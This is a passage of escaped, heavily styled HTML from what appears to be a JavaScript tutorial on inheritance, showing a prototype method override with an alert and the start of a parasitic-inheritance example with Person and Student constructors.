background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;;&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// replace the sayHello method (a polymorphism example)&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;prototype&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sayHello &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; alert&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'hi, I am a student'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;var&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; student1 &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;new&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;();&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;student1&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sayHello&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;Parasitic inheritance:&lt;/b&gt; I&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: white; line-height: 18px;"&gt;n the "derived" constructor you create a "base" object instance, that object is augmented and that new instance is returned:&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"&gt;&lt;code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// Person constructor function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;name&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;this&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;name &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; name&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;;&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;value&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;var&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; that &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; 